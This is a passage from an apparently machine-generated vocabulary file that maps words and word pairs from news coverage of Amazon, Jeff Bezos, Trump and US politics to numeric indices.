17731, "sweden wanted": 17732, "fundamentalist buffett": 17733, "cardsectionname business": 17734, "tic tac": 17735, "crooked cop": 17736, "team sucks": 17737, "victoria guida": 17738, "right glad": 17739, "jobs donny": 17740, "great wall": 17741, "email exchanges": 17742, "trouble maintaining": 17743, "complex relationship": 17744, "post described": 17745, "othertop": 17746, "criminal acts": 17747, "downtown far": 17748, "substantial debt": 17749, "programmers": 17750, "avoiding various": 17751, "larry": 17752, "clearly incredibly": 17753, "western half": 17754, "bailey transatlantic": 17755, "provide new": 17756, "trust laws": 17757, "list article": 17758, "took leap": 17759, "overtime regardless": 17760, "sen ro": 17761, "sues immigration": 17762, "function updateshowinfo": 17763, "gordon papes": 17764, "talent lessons": 17765, "oil industry": 17766, "billion started": 17767, "economic itep": 17768, "kathy": 17769, "vanden heuvel": 17770, "jesse": 17771, "negotiate contracts": 17772, "publication published": 17773, "ai guru": 17774, "workshare discounts": 17775, "giant corporation": 17776, "hoarci": 17777, "billion alphastreet": 17778, "aging population": 17779, "unbeatable": 17780, "second timers": 17781, "trump deficit": 17782, "wage legislation": 17783, "rookie jann": 17784, "homebuilding rose": 17785, "seemingly insatiable": 17786, "sales practices": 17787, "kilometres away": 17788, "nutting 415": 17789, "454 5547": 17790, "jordan attorney": 17791, "times howell": 17792, "dias": 17793, "suddenly changed": 17794, "weekend long": 17795, "earnings credit": 17796, "property primarily": 17797, "japan trade": 17798, "centers new": 17799, "cutting costs": 17800, "campaign cc": 17801, "fittingly": 17802, "repackaging existing": 17803, "best memoir": 17804, "does jeff": 17805, "condo penthouse": 17806, "millionaire ben": 17807, "foraging": 17808, "keynes warehouse": 17809, "investigator says": 17810, "maio says": 17811, "putting capital": 17812, "leavy": 17813, "officer sheryl": 17814, "pricing strategies": 17815, "criticism years": 17816, "amazon 178": 17817, "ndrew_lawrence": 17818, "lot murkier": 17819, "wbes": 17820, "policy stance": 17821, "1133 billion": 17822, "laurie": 17823, "sent young": 17824, "dollars going": 17825, "exit correction": 17826, "impeachment apparel": 17827, "metoo": 17828, "z0 fa": 17829, "weekend deliveries": 17830, "subsidising": 17831, "boy missing": 17832, "say additionally": 17833, "mystery authors": 17834, "source shutterstock": 17835, "gay vice": 17836, "ecommerce giant": 17837, "1380 rumor": 17838, "prerogative": 17839, "millions worldwide": 17840, "magary": 17841, "sanders responded": 17842, "discuss range": 17843, "articles claiming": 17844, "items outside": 17845, "data control": 17846, "later ms": 17847, "named sally": 17848, "program rodriguez": 17849, "inauguration day": 17850, "acre area": 17851, "opinions won": 17852, "growth followed": 17853, "cancelkavanugh pic": 17854, "early phases": 17855, "cost 000": 17856, "really intimidating": 17857, "representatives threatening": 17858, "senate dem": 17859, "powerful exculpatory": 17860, "saudis pirated": 17861, "company donated": 17862, "width 1600": 17863, "class packages": 17864, "kamhi successfully": 17865, "dre johnson": 17866, "identical firm": 17867, "government scrutiny": 17868, "states debt": 17869, "bezos lover": 17870, "scathing criticism": 17871, "slippers": 17872, "dollar asked": 17873, "killing comparison": 17874, "welcoming": 17875, "affair unless": 17876, "attracted foreign": 17877, "mistress despite": 17878, "times twitter": 17879, "macbook": 17880, "created instant": 17881, "information phone": 17882, "garden ocasio": 17883, "jacob marley": 17884, "amazon abandons": 17885, "tamebay asked": 17886, "randall quarles": 17887, "news sign": 17888, "food writer": 17889, "mueller special": 17890, "saudi government": 17891, "midtown": 17892, "deepak sent": 17893, "planned amazon": 17894, "expecting huge": 17895, "supporting friends": 17896, "lannisters": 17897, "mail purportedly": 17898, "coverage eric": 17899, "conditions youtube": 17900, "autism spectrum": 17901, "mod mktw": 17902, "prevent various": 17903, "inexorable": 17904, "indexes fell": 17905, "innovation climbing": 17906, "pillpack specializes": 17907, "security secretary": 17908, "consideration moser": 17909, "heavy neighborhoods": 17910, "devastating secrets": 17911, "hate speech": 17912, "personal note": 17913, "cornaga ave": 17914, "a4ee b1": 17915, "wicket": 17916, "funding throws": 17917, "endorsed series": 17918, "landmark decision": 17919, "yitzhak": 17920, "deliveries despite": 17921, "hop music": 17922, "chelsea": 17923, "safety accessibility": 17924, "2018 love": 17925, "farrow claims": 17926, "services sorting": 17927, "presented trump": 17928, "hope yen": 17929, "courting governments": 17930, "saltsman jamieson": 17931, "fortrump news": 17932, "aware": 17933, "general post": 17934, "pretty new": 17935, "smallbusiness competitors": 17936, "commissioner dale": 17937, "pound towels": 17938, "inflict pain": 17939, "separate segment": 17940, "jezebel": 17941, "estad\u0103o": 17942, "amzn qtt": 17943, "sexual assault": 17944, "findings directly": 17945, "mirrors americans": 17946, "juggernauts": 17947, "ap task": 17948, "fed": 17949, "snowy week": 17950, "frea": 17951, "children donald": 17952, "sherman anti": 17953, "talk custody": 17954, "taxes hurting": 17955, "vacant seats": 17956, "restaurant according": 17957, "billionto open": 17958, "schwartzegger bruce": 17959, "answers surface": 17960, "anti microbial": 17961, "compelled": 17962, "amazon origins": 17963, "780": 17964, "separatists stormed": 17965, "intelligence analysts": 17966, "products aafa": 17967, "wings foreign": 17968, "shipments puts": 17969, "merchandise store": 17970, "cymru": 17971, "insight crime": 17972, "make amazon": 17973, "harvey": 17974, "assignment": 17975, "steven schooner": 17976, "bbc technology": 17977, "abe": 17978, "message published": 17979, "later today": 17980, "selfie unless": 17981, "offline options": 17982, "approaching 900": 17983, "legally pass": 17984, "ruling requiring": 17985, "sears sold": 17986, "strongman": 17987, "fair features": 17988, "special election": 17989, "gop locker": 17990, "strategy according": 17991, "xppb5nihcj": 17992, "volume customers": 17993, "cargo distribution": 17994, "successful interview": 17995, "hear firsthand": 17996, "abstract ways": 17997, "watch read": 17998, "routinely slams": 17999, "biggest shareholder": 18000, "just bundle": 18001, "tunnel debacle": 18002, "colon": 18003, "anti donald": 18004, "data usefulness": 18005, "benefits major": 18006, "owens read": 18007, "fighting mad": 18008, "expansions": 18009, "cash holdings": 18010, "conning": 18011, "lafayette park": 18012, "republican member": 18013, "answers jeanine": 18014, "provide dreamers": 18015, "began tweeting": 18016, "siena poll": 18017, "infrastructure businesses": 18018, "paid customer": 18019, "kevin lamarque": 18020, "future demise": 18021, "wealth drop": 18022, "massive campaign": 18023, "juggle": 18024, "equity titan": 18025, "reported stagnating": 18026, "revealed new": 18027, "packages business": 18028, "steven reports": 18029, "outlet page": 18030, "break sanctions": 18031, "experiential pop": 18032, "commission italian": 18033, "state uses": 18034, "important reason": 18035, "mccain denounced": 18036, "essential items": 18037, "220": 18038, "direct pressuring": 18039, "abortion foes": 18040, "2018 items": 18041, "organizes people": 18042, "buffett doubles": 18043, "eric warren": 18044, "depicts": 18045, "life experiences": 18046, "lead fbi": 18047, "labs told": 18048, "trade memorandum": 18049, "bond prices": 18050, "annual martin": 18051, "amongjustice officials": 18052, "team identify": 18053, "vital source": 18054, "dam broke": 18055, "midterm election": 18056, "total destruction": 18057, "company burgeoning": 18058, "strategic direction": 18059, "liga": 18060, "practices distort": 18061, "sectors produce": 18062, "everlasting control": 18063, "bush rewarded": 18064, "trump stumbled": 18065, "job king": 18066, "crime investigation": 18067, "months antitrust": 18068, "versace": 18069, "650w": 18070, "amazon rolled": 18071, "amazon announcing": 18072, "undergoing treatment": 18073, "finally combat": 18074, "economies exploiting": 18075, "point incoming": 18076, "company chose": 18077, "alexa really": 18078, "man photograph": 18079, "classic example": 18080, "issue surrounding": 18081, "discuss attorney": 18082, "postcards trump": 18083, "neighborhoods delivering": 18084, "protesters offer": 18085, "fault mind": 18086, "state covert": 18087, "country roots": 18088, "positives mismatching": 18089, "salles defended": 18090, "surrounding": 18091, "collateralized": 18092, "higher pay": 18093, "1973": 18094, "caravan transgender": 18095, "sensitive nerve": 18096, "operating vehicles": 18097, "nice wired": 18098, "amazon cia": 18099, "165 billion": 18100, "belmont": 18101, "effectively subsidizing": 18102, "2776086 190306": 18103, "vendor listing": 18104, "toy retailer": 18105, "contains large": 18106, "baier tweeted": 18107, "issuing monopoly": 18108, "yard signs": 18109, "center right": 18110, "originally promised": 18111, "major historic": 18112, "just notre": 18113, "cluttered workspace": 18114, "congresswoman maloney": 18115, "onex deal": 18116, "iwanowicz responded": 18117, "policies woo": 18118, "organizations": 18119, "company acted": 18120, "estimates relies": 18121, "make finding": 18122, "media institution": 18123, "500 results": 18124, "longstanding ally": 18125, "big story": 18126, "press editor": 18127, "park comeback": 18128, "shall": 18129, "var k1a": 18130, "volitile": 18131, "arrington": 18132, "usurp": 18133, "supermarket racks": 18134, "expensive split": 18135, "piece red": 18136, "energy powering": 18137, "isn fan": 18138, "margin pressures": 18139, "ip addresses": 18140, "assault allegations": 18141, "idealogical range": 18142, "reliefaccounts": 18143, "cia operation": 18144, "regulatory policy": 18145, "trump matt": 18146, "logistics partners": 18147, "patent attorney": 18148, "wildlife reduced": 18149, "commerce remains": 18150, "site oddsshark": 18151, "margins worst": 18152, "headquarters leaving": 18153, "pff": 18154, "kauffman san": 18155, "formidable lobbying": 18156, "jc return": 18157, "monthly": 18158, "push florida": 18159, "ricardel": 18160, "remaining 236": 18161, "announce significant": 18162, "blind zone": 18163, "buy ladder": 18164, "delivers lies": 18165, "fancies": 18166, "billionaire patrick": 18167, "dear girls": 18168, "wing president": 18169, "view environmental": 18170, "voters surveys": 18171, "combative response": 18172, "administration failure": 18173, "private initiatives": 18174, "far rockaway": 18175, "california weather": 18176, "tl delivery": 18177, "issue general": 18178, "controlled workplace": 18179, "tariff hikes": 18180, "cortez apparently": 18181, "screengrab follow": 18182, "defended sen": 18183, "unusually private": 18184, "wholly inadequate": 18185, "holds technology": 18186, "restaurant industry": 18187, "oil ma": 18188, "duart": 18189, "favoritism": 18190, "country total": 18191, "developer conference": 18192, "tastiest dividend": 18193, "purging": 18194, "training brings": 18195, "hard fought": 18196, "outbreaks parroting": 18197, "diplomas": 18198, "lam": 18199, "union station": 18200, "waldo emerson": 18201, "seized national": 18202, "washington weighing": 18203, "easy money": 18204, "provide complete": 18205, "says report": 18206, "countless acquisitions": 18207, "award": 18208, "kevin costner": 18209, "make forests": 18210, "tesla george": 18211, "miller mylesmill": 18212, "prepend showdetailsspancontent": 18213, "economics rents": 18214, "foreign citizens": 18215, "utilities storm": 18216, "quit amazon": 18217, "formal advice": 18218, "massive selection": 18219, "biographer good": 18220, "announcer saying": 18221, "fref": 18222, "called david": 18223, "necessary mail": 18224, "fizzled": 18225, "say nasty": 18226, "ny1 ny1": 18227, "rex shutterstock": 18228, "622 shares": 18229, "media msm": 18230, "assist hundreds": 18231, "verizon nyse": 18232, "daniel miller": 18233, "upcoming multi": 18234, "beliefs different": 18235, "ordinary idiotic": 18236, "ouch": 18237, "week abramowitz": 18238, "sparred publicly": 18239, "file disclosures": 18240, "lanes essentially": 18241, "designed unlike": 18242, "seethes": 18243, "wegmann absolutely": 18244, "snippets": 18245, "youngster": 18246, "relationship bezos": 18247, "300x200 getty_173218731_200015422000928060_388160": 18248, "investor following": 18249, "insane failure": 18250, "boston cbs": 18251, "mexico seth": 18252, "run ins": 18253, "fund transit": 18254, "actual monopolies": 18255, "age": 18256, "wrote employees": 18257, "greatness according": 18258, "eldest son": 18259, "laughter": 18260, "brooklyn academy": 18261, "syndrome reveals": 18262, "minor miracle": 18263, "region detected": 18264, "kavanaugh ascended": 18265, "rare occasions": 18266, "regulated industries": 18267, "mes trump": 18268, "paid notice": 18269, "testimony regarding": 18270, "democrat hopefuls": 18271, "mail processing": 18272, "lone prius": 18273, "various mercenary": 18274, "examining apple": 18275, "ben baker": 18276, "billionaire did": 18277, "iphone parts": 18278, "intensifies": 18279, "terrible idea": 18280, "prohibits": 18281, "old billionaire": 18282, "remeasurement": 18283, "gov murphy": 18284, "foia request": 18285, "tuckercarlson": 18286, "bartz editing": 18287, "acosta karate": 18288, "slansky calls": 18289, "year hilton": 18290, "instructional handcrafted": 18291, "fed 2019": 18292, "peek totally": 18293, "finally understand": 18294, "headquarter": 18295, "twitch prime": 18296, "archiving": 18297, "recorded conversations": 18298, "bolsonaro appointee": 18299, "immigrant heavy": 18300, "springfield virginia": 18301, "relocate amazon": 18302, "liberalism positively": 18303, "contrast culp": 18304, "internal corporate": 18305, "competitors": 18306, "crippled": 18307, "wasn happy": 18308, "decelerate": 18309, "boyfriend dressed": 18310, "millennials buckle": 18311, "beg god": 18312, "inventor dean": 18313, "improving mail": 18314, "northwest folklife": 18315, "shares billionaire": 18316, "anticipated amazon": 18317, "google discovers": 18318, "little surprise": 18319, "mccarthy": 18320, "ways": 18321, "economic inequality": 18322, "african people": 18323, "apu": 18324, "shift blame": 18325, "meet demand": 18326, "bezos maintains": 18327, "crony corruption": 18328, "time lauren": 18329, "colony crack": 18330, "threatened climate": 18331, "red outlaws": 18332, "justine": 18333, "amusement": 18334, "really based": 18335, "policy change": 18336, "equipped": 18337, "stands states": 18338, "shitting tools": 18339, "monopoly questions": 18340, "emmy nominations": 18341, "walks free": 18342, "hybrid public": 18343, "controversial tax": 18344, "compensation growth": 18345, "election nvidia": 18346, "trip president": 18347, "day plus": 18348, "wouldn occur": 18349, "diyah pera": 18350, "rifling": 18351, "potus wished": 18352, "meristem family": 18353, "new offerings": 18354, "justice isa": 18355, "follow mike": 18356, "hess writes": 18357, "digital divide": 18358, "delivery formula": 18359, "graciously accepted": 18360, "tuck school": 18361, "job security": 18362, "photo gage": 18363, "pubg": 18364, "point slightly": 18365, "business ability": 18366, "extended cameo": 18367, "automatically reorder": 18368, "rental subsidies": 18369, "arizona human": 18370, "led companies": 18371, "gale": 18372, "matters previously": 18373, "uber delivery": 18374, "happened report": 18375, "monthly loss": 18376, "nbc north": 18377, "dress copy": 18378, "acquire time": 18379, "frames 2018": 18380, "immigrant communities": 18381, "oft abuses": 18382, "commentcount null": 18383, "calls sanchez": 18384, "areprimarily": 18385, "trump winery": 18386, "amazon holdings": 18387, "rooms": 18388, "sets new": 18389, "policy just": 18390, "encouraging path": 18391, "elmhurst": 18392, "engine behavior": 18393, "cost pressures": 18394, "good especially": 18395, "expand": 18396, "summed": 18397, "guided parking": 18398, "hawkish": 18399, "contractual arrangement": 18400, "talented labor": 18401, "baseball team": 18402, "away overshadows": 18403, "policy studies": 18404, "treat bomb": 18405, "legal groups": 18406, "online storehouse": 18407, "peek dan": 18408, "amazonian": 18409, "expenses associated": 18410, "trump sanctuary": 18411, "closed eyes": 18412, "ht": 18413, "negative sentiment": 18414, "usps instead": 18415, "sharp heres": 18416, "walmart focused": 18417, "worry amazon": 18418, "play": 18419, "station pen": 18420, "underdog": 18421, "attract americans": 18422, "overachiever": 18423, "reciprocity": 18424, "sept results": 18425, "session starts": 18426, "distilling": 18427, "incentives new": 18428, "gawande returned": 18429, "warren takes": 18430, "real ponzi": 18431, "does hq2": 18432, "wanted": 18433, "luring new": 18434, "mouth shut": 18435, "good harbor": 18436, "issues list": 18437, "long friendship": 18438, "plan embedded": 18439, "locka junk": 18440, "spx update": 18441, "solemn vow": 18442, "political stardom": 18443, "latest cnbc": 18444, "corporate welfare": 18445, "fined billion": 18446, "llc updates": 18447, "sundays": 18448, "rates package": 18449, "margo martindale": 18450, "doesn interfere": 18451, "sq ttwo": 18452, "enthusiasts": 18453, "regulated postal": 18454, "source agreements": 18455, "face rape": 18456, "state lawmakers": 18457, "coresight": 18458, "shares advisory": 18459, "exist putin": 18460, "monahan": 18461, "avoiding companies": 18462, "bit ironic": 18463, "mair backing": 18464, "daniel hails": 18465, "vicious verbal": 18466, "cargo": 18467, "antitrust common": 18468, "government health": 18469, "ernie soehl": 18470, "canadian shakespearean": 18471, "administration strategic": 18472, "behemoth company": 18473, "advisors big": 18474, "negotiates": 18475, "author uses": 18476, "congress judicial": 18477, "transformation plan": 18478, "large national": 18479, "chips helped": 18480, "voyage": 18481, "education group": 18482, "register n970311": 18483, "important component": 18484, "popular": 18485, "forbes bloomberg": 18486, "q0 a4ee": 18487, "cuts took": 18488, "cash strapped": 18489, "pressured equities": 18490, "capacity market": 18491, "ross asdourian": 18492, "hoax designed": 18493, "lr": 18494, "bigly": 18495, "new competition": 18496, "ceo oracle": 18497, "385x240 getty_173218731_200015422000928060_388160": 18498, "bomey usa": 18499, "eric kohn": 18500, "claim airs": 18501, "judson": 18502, "course completely": 18503, "jmartnyt": 18504, "escalating costs": 18505, "isn prosperity": 18506, "sack minutes": 18507, "scalpel": 18508, "users pichai": 18509, "brand sinclair": 18510, "considered unreliable": 18511, "dept gives": 18512, "accounts shows": 18513, "current national": 18514, "conflicting information": 18515, "minute trump": 18516, "clinton advisor": 18517, "year hosted": 18518, "amazon ocasio": 18519, "nnix1 bloomberg": 18520, "customers christmas": 18521, "slanted": 18522, "aljazeera aljazeera": 18523, "img_panoramicref getty_173218731_200015422000928060": 18524, "month posted": 18525, "empowering entrepreneurs": 18526, "review process": 18527, "receive speaking": 18528, "billionaire tax": 18529, "groups heightened": 18530, "candidate released": 18531, "hearing today": 18532, "effects facebook": 18533, "carry legitimacy": 18534, "armed follower": 18535, "committee spokesman": 18536, "division right": 18537, "month jeff": 18538, "mark decision": 18539, "asset depreciation": 18540, "visiting amazon": 18541, "nicole karlis": 18542, "recently released": 18543, "attacking jeff": 18544, "authors income": 18545, "industry new": 18546, "morrissey vice": 18547, "lives false": 18548, "tenant underpinning": 18549, "trademark related": 18550, "conducted good": 18551, "including majority": 18552, "wound": 18553, "receive stock": 18554, "news spawned": 18555, "recall": 18556, "culturally appropriate": 18557, "talent question": 18558, "endorse trump": 18559, "aws consulting": 18560, "konst pay": 18561, "hurricane ike": 18562, "dictatorial actions": 18563, "copies popular": 18564, "stiller": 18565, "produces": 18566, "father president": 18567, "strict line": 18568, "marijuana market": 18569, "opening remarks": 18570, "existing users": 18571, "yeah don": 18572, "approach cleaving": 18573, "brains google": 18574, "decorations": 18575, "2018 techtimes": 18576, "badass iconimageurl": 18577, "doss carmel": 18578, "legislation expands": 18579, "loan balance": 18580, "presentations q1": 18581, "state film": 18582, "commission nationale": 18583, "chesapeake": 18584, "air balloon": 18585, "intuitive young": 18586, "165 points": 18587, "downpour": 18588, "investable assets": 18589, "exempt": 18590, "sent 135": 18591, "sparked frenzy": 18592, "n0 break": 18593, "character driven": 18594, "important step": 18595, "work based": 18596, "analysts surveyed": 18597, "foxborough mass": 18598, "award date": 18599, "site amid": 18600, "terri bradfield": 18601, "beast published": 18602, "hiv does": 18603, "delivery fleets": 18604, "increasing political": 18605, "investing principle": 18606, "hydraulic": 18607, "historic rematch": 18608, "acquiring amazon": 18609, "digital version": 18610, "auto related": 18611, "digital ordering": 18612, "snl appearance": 18613, "revealing messages": 18614, "presence combusted": 18615, "8450": 18616, "thrive efficacy": 18617, "algebra": 18618, "9million": 18619, "modestly": 18620, "nixon administration": 18621, "relief cool": 18622, "divorce pegged": 18623, "qorvo": 18624, "presidential aspirations": 18625, "tracey grossman": 18626, "helps lead": 18627, "obliterate human": 18628, "ultimately amazon": 18629, "trump declining": 18630, "italy bond": 18631, "developments emerged": 18632, "highly embarrassing": 18633, "threats recruiters": 18634, "isn usually": 18635, "sophisticated algorithms": 18636, "sites additionally": 18637, "choice award": 18638, "midterm projections": 18639, "customer stuff": 18640, "deepest discounts": 18641, "tougher environments": 18642, "discern running": 18643, "union corporations": 18644, "american household": 18645, "pillpack acquisition": 18646, "backlash jeff": 18647, "deteriorating corporate": 18648, "purchased directly": 18649, "bezos website": 18650, "company news": 18651, "administration sights": 18652, "great director": 18653, "guilty grave": 18654, "weighted basis": 18655, "favored striking": 18656, "uber wants": 18657, "venue operations": 18658, "tax barrier": 18659, "hiking starter": 18660, "bookstore experience": 18661, "blade": 18662, "criticize trump": 18663, "change amazon": 18664, "student aid": 18665, "latest signal": 18666, "house gives": 18667, "yemeni": 18668, "preventable": 18669, "requires guaranteed": 18670, "trump time": 18671, "tweet lashing": 18672, "heated meeting": 18673, "sexual orientation": 18674, "powerhouse": 18675, "treaty governing": 18676, "employs thousands": 18677, "cool treat": 18678, "day innovating": 18679, "iranians": 18680, "store opening": 18681, "politico check": 18682, "canadian": 18683, "vox": 18684, "crazy leap": 18685, "athey": 18686, "carrier relationships": 18687, "kwame adjei": 18688, "nanette": 18689, "invest 223": 18690, "bid meet": 18691, "won 115": 18692, "transportation sector": 18693, "vancouver international": 18694, "2003 president": 18695, "icann club": 18696, "prohibits president": 18697, "grudges": 18698, "service benefits": 18699, "state newspaper": 18700, "visually impaired": 18701, "bredesen": 18702, "writing test": 18703, "amazon lessen": 18704, "pittsburgh officials": 18705, "accept satan": 18706, "2018 people": 18707, "authorities saying": 18708, "don question": 18709, "purchases": 18710, "forcing amazon": 18711, "mortal half": 18712, "base shrunk": 18713, "homepod": 18714, "pinching program": 18715, "history jeff": 18716, "tax structures": 18717, "enquirer published": 18718, "say doing": 18719, "lost wealth": 18720, "product google": 18721, "revenue necessary": 18722, "proactively": 18723, "salacious revelations": 18724, "surprise sales": 18725, "4e8uceqmon elissa": 18726, "uniformly upbeat": 18727, "digital walmart": 18728, "yoru": 18729, "including republicans": 18730, "2125et copyright": 18731, "launches antitrust": 18732, "fueling": 18733, "clear violation": 18734, "views feel": 18735, "forwarding operation": 18736, "information requests": 18737, "discovered secret": 18738, "debuting": 18739, "trump usual": 18740, "release letter": 18741, "travelled": 18742, "boy following": 18743, "bryant": 18744, "illegal asylum": 18745, "wise investment": 18746, "innovative products": 18747, "humble story": 18748, "counts": 18749, "glove": 18750, "initial bet": 18751, "parties aiding": 18752, "congregation": 18753, "meant state": 18754, "gaining members": 18755, "sourcebuild": 18756, "hiltzikm status": 18757, "accuses reporters": 18758, "foretold politics": 18759, "culture make": 18760, "antifraud measures": 18761, "feed 3a": 18762, "street expectations": 18763, "nastier 2017": 18764, "dark drama": 18765, "pells": 18766, "signal": 18767, "raft": 18768, "388 shares": 18769, "era neoconservative": 18770, "announced oracle": 18771, "new rtx": 18772, "message doctor": 18773, "tweeting recently": 18774, "functions including": 18775, "accept payment": 18776, "hisilli donald": 18777, "tws": 18778, "web tv": 18779, "districts": 18780, "bigger increase": 18781, "bezos intends": 18782, "4450": 18783, "catalog google": 18784, "chuck burton": 18785, "pointe capital": 18786, "produced contracts": 18787, "171": 18788, "investor caution": 18789, "massachusetts ex": 18790, "bezos flipped": 18791, "right things": 18792, "gotten fair": 18793, "firefighters battling": 18794, "demand skyrocketed": 18795, "subject security": 18796, "farms day": 18797, "challengers epa": 18798, "government sanchez": 18799, "employee complained": 18800, "lifespan": 18801, "hiromi": 18802, "employee hardships": 18803, "trade meeting": 18804, "seemingly unintentional": 18805, "molestation": 18806, "john damian": 18807, "interview kelly": 18808, "sectionection lead": 18809, "cy vance": 18810, "sordid history": 18811, "dipped sharply": 18812, "connolly demonstrating": 18813, "retail patil": 18814, "big dogs": 18815, "trump claims": 18816, "lawsuit": 18817, "illinois women": 18818, "selena": 18819, "demonstrating": 18820, "bolsonaro visit": 18821, "remember live": 18822, "right violations": 18823, "cdc document": 18824, "confidential anthony": 18825, "poverty": 18826, "obama administration": 18827, "tax demanded": 18828, "adrift just": 18829, "reagan national": 18830, "unscrupulous": 18831, "bezos brouhaha": 18832, "door amazon": 18833, "specific details": 18834, "industry free": 18835, "euractiv france": 18836, "near trillion": 18837, "songs filled": 18838, "ethnicity": 18839, "secretary hasn": 18840, "urban scholars": 18841, "inciting": 18842, "derives": 18843, "new approach": 18844, "unfair competitive": 18845, "potential wildcard": 18846, "bloody human": 18847, "content jason": 18848, "panned": 18849, "time covers": 18850, "immigrant workers": 18851, "scary wouldn": 18852, "university seattle": 18853, "google preferred": 18854, "commission nys": 18855, "stoic housewife": 18856, "nearly 79million": 18857, "encourage facilitate": 18858, "snl chose": 18859, "deep blue": 18860, "service exclusive": 18861, "unimaginable": 18862, "2870": 18863, "damn near": 18864, "houston amazon": 18865, "tim culpan": 18866, "adds postmaster": 18867, "court recommended": 18868, "consulting services": 18869, "action rosenstein": 18870, "dryer": 18871, "125 years": 18872, "cage season": 18873, "tax total": 18874, "mugs": 18875, "state bar": 18876, "fellow movie": 18877, "trump daddy": 18878, "openly expressed": 18879, "discussion look": 18880, "sectors trump": 18881, "trump impeachment": 18882, "illegal product": 18883, "west joined": 18884, "american newsrooms": 18885, "time tinkering": 18886, "cbs app": 18887, "disgraceful donald": 18888, "eye joint": 18889, "crypto winter": 18890, "gov mitt": 18891, "firm compared": 18892, "golden center": 18893, "businesswire minute": 18894, "large shipment": 18895, "authoritarianism amazon": 18896, "people need": 18897, "194": 18898, "misinformation filters": 18899, "5000": 18900, "overwhelmingly pleased": 18901, "helsinki vantaa": 18902, "amzn netflix": 18903, "rubbersole": 18904, "o8": 18905, "lose money": 18906, "presidential bid": 18907, "home": 18908, "subsidised": 18909, "stocks rockets": 18910, "gun brock": 18911, "collects orders": 18912, "silent sam": 18913, "denying heartland": 18914, "sales gimmick": 18915, "html showdetailsspancontent": 18916, "business rose": 18917, "suffered shrinking": 18918, "shortlisted": 18919, "um canada": 18920, "enforce statute": 18921, "ceremony amazon": 18922, "actually government": 18923, "account registered": 18924, "close president": 18925, "biggest time": 18926, "internal strategy": 18927, "recent overarching": 18928, "rocket deposited": 18929, "protesters hold": 18930, "newlywed": 18931, "sourced domestically": 18932, "black market": 18933, "china cramer": 18934, "doubleclick buy": 18935, "surveyed 900": 18936, "manducatis": 18937, "esteemed": 18938, "democratic nominations": 18939, "sanchez attend": 18940, "leafs": 18941, "cedar sigo": 18942, "khq tv": 18943, "tremendous lobbying": 18944, "2019 david": 18945, "schuster spokesperson": 18946, "archive connect": 18947, "market manipulation": 18948, "mayor effort": 18949, "broadbandbreakfast": 18950, "lewrockwell": 18951, "mcdougal ronald": 18952, "vortex brought": 18953, "nurse": 18954, "conversely cares": 18955, "basically calling": 18956, "creation development": 18957, "defended amazon": 18958, "companion": 18959, "street average": 18960, "shirk": 18961, "firm blue": 18962, "schuster": 18963, "ami produced": 18964, "remain friends": 18965, "500 working": 18966, "educational systems": 18967, "declaratory": 18968, "enquirer fervor": 18969, "open closed": 18970, "broader review": 18971, "howard outlining": 18972, "based determination": 18973, "kicking man": 18974, "clarkson joined": 18975, "constitutes": 18976, "receive": 18977, "start world": 18978, "post donald": 18979, "ser_footer_blurb": 18980, "lingering today": 18981, "facebooks": 18982, "rep location": 18983, "mainland economy": 18984, "billionaire alleged": 18985, "cave flooded": 18986, "claire ohjuliatweets": 18987, "guild income": 18988, "provided substantial": 18989, "timely pick": 18990, "regulating technology": 18991, "scamming": 18992, "presidential conventions": 18993, "make real": 18994, "good don": 18995, "seattle weather": 18996, "bezos senior": 18997, "present tax": 18998, "cs1avpng6l": 18999, "small bags": 19000, "pro regulation": 19001, "government efficiencies": 19002, "258": 19003, "emergency executive": 19004, "response based": 19005, "bronx tale": 19006, "neighborhoods": 19007, "raises red": 19008, "crains man": 19009, "overturns": 19010, "despite oracle": 19011, "annual convention": 19012, "statement posted": 19013, "probe cases": 19014, "service centers": 19015, "overall usage": 19016, "entirety attorney": 19017, "megdal warm": 19018, "upbeat statement": 19019, "containerid oncontententryload": 19020, "coordinate delivery": 19021, "size new": 19022, "hit shoppers": 19023, "daily": 19024, "summit welcome": 19025, "president slip": 19026, "swiss bank": 19027, "withhold funding": 19028, "particular vendor": 19029, "amica ali": 19030, "policies canceling": 19031, "average consumer": 19032, "forestland illegally": 19033, "amazons face": 19034, "book general": 19035, "robert jones": 19036, "total sh": 19037, "judge orders": 19038, "hayden": 19039, "comedy central": 19040, "lawsuits involving": 19041, "heart confirming": 19042, "society including": 19043, "services recommendations": 19044, "david garrick": 19045, "pithia": 19046, "senior campaign": 19047, "ceo attributed": 19048, "sulzberger responded": 19049, "chain market": 19050, "2019 model": 19051, "john harney": 19052, "huge error": 19053, "quoted chuck": 19054, "tax collection": 19055, "crash weight": 19056, "hearings carrying": 19057, "michael yerger": 19058, "things sacrificed": 19059, "distribution arm": 19060, "air items": 19061, "goldwater range": 19062, "earned rights": 19063, "emily biddle": 19064, "purported culprits": 19065, "main factor": 19066, "leach": 19067, "269 million": 19068, "shares wetherby": 19069, "coincidence chose": 19070, "quarter fastest": 19071, "independent group": 19072, "chris grabenstein": 19073, "larsson books": 19074, "discuss sanctuary": 19075, "light outside": 19076, "consumers jolley": 19077, "hurricane headlineplaintext": 19078, "regulatory political": 19079, "north south": 19080, "brands lose": 19081, "election travel": 19082, "good budget": 19083, "unnecessary tariffs": 19084, "sanders claims": 19085, "celebrates": 19086, "companies don": 19087, "stung facebook": 19088, "netflix netflix": 19089, "digital practice": 19090, "series fear": 19091, "email bio": 19092, "cgc shot": 19093, "europe fining": 19094, "way data": 19095, "business services": 19096, "galling": 19097, "community teresa": 19098, "earlier job": 19099, "voter purges": 19100, "republican candidates": 19101, "gandel explores": 19102, "halzack big": 19103, "thesubcommittee": 19104, "monthly press": 19105, "increased global": 19106, "ongoing impact": 19107, "report especially": 19108, "did big": 19109, "relatively small": 19110, "crosses associated": 19111, "photos revealing": 19112, "inadequate wages": 19113, "hinted": 19114, "capsizes killing": 19115, "drivers making": 19116, "ground relationships": 19117, "expanded businesses": 19118, "says lot": 19119, "traditional independence": 19120, "singapore summit": 19121, "china zte": 19122, "called project": 19123, "new gods": 19124, "coordinated protests": 19125, "inward shift": 19126, "post website": 19127, "southwest airlines": 19128, "entrepreneurs": 19129, "partners madeleine": 19130, "ferry service": 19131, "gassner otting": 19132, "leasing": 19133, "news venezuela": 19134, "unseat trump": 19135, "trade council": 19136, "office awarded": 19137, "won release": 19138, "butted": 19139, "amazon boxes": 19140, "trump forces": 19141, "horseman": 19142, "talton comments": 19143, "smartest guys": 19144, "sys": 19145, "drones special": 19146, "post follows": 19147, "tonky": 19148, "apparently declined": 19149, "ng check": 19150, "2018 issue": 19151, "people attend": 19152, "kudlow adding": 19153, "post untangles": 19154, "high quality": 19155, "croatian": 19156, "new slate": 